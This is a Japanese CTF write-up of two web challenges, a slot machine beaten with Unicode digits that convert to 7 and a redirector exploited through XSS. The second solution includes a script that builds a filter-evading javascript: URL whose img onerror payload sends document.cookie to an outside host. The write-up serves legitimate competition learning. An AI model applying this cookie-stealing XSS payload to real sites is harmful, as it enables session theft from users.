5/17に6時間だけ開催された。4問が出題されたうち、2問を問いて6位。残りのTiny NoteとAlpacaMarkも解きたかったなあ。
[Web 122] Jackpot (63 solves)
🎰 Slot Machine 🎰
(問題サーバのURL)
添付ファイル: jackpot.tar.gz
与えられたURLにアクセスすると、次のようなスロットマシンが表示される。下部になぜか数字を入力できるフォームもある。
コードは次の通り。シンプルだ。フォームで入力した数字のリストからランダムに15個選ばれ(重複あり)、ここで 7
が15個揃うとフラグがもらえるらしい。さすがに運だけでは無理だ。
数字のリストについては、以下の通りの制約がある。これらのチェックが済み次第、int
で文字から数値に変換される。じゃあなんで 0123456789
で決め打ちにしていないんですか? と思ってしまう。
- すべて数字でなければならない
- 10種類以上の文字が含まれていなければならない
- 文字に重複があってはならない
- 最初の10文字より後ろは無視される
from flask import Flask, request, render_template, jsonify from werkzeug.exceptions import BadRequest, HTTPException import os, re, random, json app = Flask(__name__) FLAG = os.getenv("FLAG", "Alpaca{dummy}") def validate(value: str | None) -> list[int]: if value is None: raise BadRequest("Missing parameter") if not re.fullmatch(r"\d+", value): raise BadRequest("Not decimal digits") if len(value) < 10: raise BadRequest("Too little candidates") candidates = list(value)[:10] if len(candidates) != len(set(candidates)): raise BadRequest("Not unique") return [int(x) for x in candidates] @app.get("/") def index(): return render_template("index.html") @app.get("/slot") def slot(): candidates = validate(request.args.get("candidates")) num = 15 results = random.choices(candidates, k=num) is_jackpot = results == [7] * num # 777777777777777 return jsonify( { "code": 200, "results": results, "isJackpot": is_jackpot, "flag": FLAG if is_jackpot else None, } ) @app.errorhandler(HTTPException) def handle_exception(e): response = e.get_response() response.data = json.dumps({"code": e.code, "description": e.description}) response.content_type = "application/json" return response if __name__ == "__main__": app.run(debug=False, host="0.0.0.0", port=3000)
最近、といっても去年の話だけれども、Pythonの isnumeric
の挙動が話題になっていたなあと思い出す。\d
にマッチし、また int
に渡されると 7
となるような文字が10個ぐらいないだろうか。次のスクリプトで探そう。
s = '' for c in range(0x100000): a = chr(c) try: if int(a) == 7: s += a if len(s) == 10: break except: pass print(s)
実行すると、次のような文字列が出てきた。いっぱいあるなあ。
$ python3 s.py 7٧۷߇७৭੭૭୭௭
これを入力するとフラグが得られた。
[Web 341] Redirector (6 solves)
It's just a redirector.
(問題サーバとadmin botのURL)
添付ファイル: redirector.tar.gz
admin botもいるあたり、たぶんXSSのようなクライアント側の攻撃を必要とするのだろうなあと考える。このアプリは非常にシンプルで、次のようにURLを入力するフォームがあり、これを送信すると /?next=https://example.com
のようなURLにリダイレクトされる。そこからさらに https://example.com
へリダイレクトされるというような流れだ。
admin botのコードで重要な箇所は次の通り。ユーザが通報したURLを見に行くだけだ。また、問題サーバのドメインで FLAG
というCookieを保存している。httpOnly
は設定されていないので、JSから document.cookie
にアクセスするとフラグが得られるはずだ。
await context.setCookie({ name: "FLAG", value: FLAG, domain: APP_HOST, path: "/", }); const page = await context.newPage(); await page.goto(url, { timeout: 5_000 }); await sleep(5_000); await page.close();
フロントエンドのコードは非常にシンプルとなっている。重要な箇所は次の通り。next
というクエリパラメータがあればそこにリダイレクトしてくれる。ただし、次のようなチェックがある。スキームのチェックはないので javascript:alert(123)
のようなことができるけれども、これらのチェックのおかげで document.cookie
を外部に持ち出すコードの実行は難しい。
- パス、クエリパラメータ、フラグメント識別子がいずれも(1文字目を除いて)英数字またはカッコのみから構成されている
location
,name
,cookie
,eval
,Function
,constructor
,%
がURLに含まれていない
1個目のチェックはホスト名やユーザ名等にJSコードを仕込めばよいのではと思ってしまうが、URL
にそれらのパーツとして認識してもらうには http://a:b@example.com
のように //
を使わなければならない。JSでは //
はコメントを意味するので、それ以降の肝心の部分がコメントアウトされてしまい困る*1。
2個目のチェックは、eval(name)
のようなstager的なコードが使えないよう塞いでいるのだろう。
(() => { const next = new URLSearchParams(location.search).get("next"); if (!next) return; const url = new URL(next, location.origin); const parts = [url.pathname, url.search, url.hash]; if (parts.some((part) => /[^\w()]/.test(part.slice(1)))) { alert("Invalid URL 1"); return; } if (/location|name|cookie|eval|Function|constructor|%/i.test(url)) { alert("Invalid URL 2"); return; } location.href = url; })();
ならば正面から突破しよう。英数字とカッコでJSを書くというお題で思い出したのは、昔Harekaze CTF 2019で出題した[a-z().]
だった。terjanqさんがこれをもとにJS-Alphaというコードを書いてくれて、これはなんと英小文字と .()
だけでJSの任意のコードを実行できるようにしてくれる。
適当なコードを変換すると、with(escape())eval(unescape(match().concat(…)))
のように、with
文や String.prototype.concat
を駆使して任意の文字列を生成していることがわかる。.
は、数字が禁止されているので仕方なく適当な文字列のメソッドを呼び、その length
を参照するということをするために使っているだけだから、今回の問題ではそれらを普通の数値に置き換えてやればよい。
文字列同士の結合に concat
を使っており、ここでも .
を使っているけれども、それは with(String)with(String())with(concat(fromCharCode(0x41)))concat(fromCharCode(0x42))
のように with
を連続で使ってやれば置き換えられる。
あとは eval
をどうやって実現するかだ。innerHTML
相当のことができればよいのではないかと考え、DocumentFragment
を作成する方法として document.createRange().createContextualFragment
を思いつく*2。
ということで、これらをまとめてJSコードを変換してくれるようなコードを書く。
payload = ''' <img src=x onerror="location.href='http://example.com/?' + document.cookie"> '''.strip() encoded = 'with(String)with(fromCharCode())' for c in payload[:-1]: encoded += 'with(concat(fromCharCode(' + str(ord(c)) + ')))' encoded += 'createContextualFragment(concat(fromCharCode(' + str(ord(payload[-1])) + ')))' print('http://redirector:3000?next=javascript:' + '''with(document)with(createRange())''' + encoded)
出力されたURLを通報すると、フラグが得られた。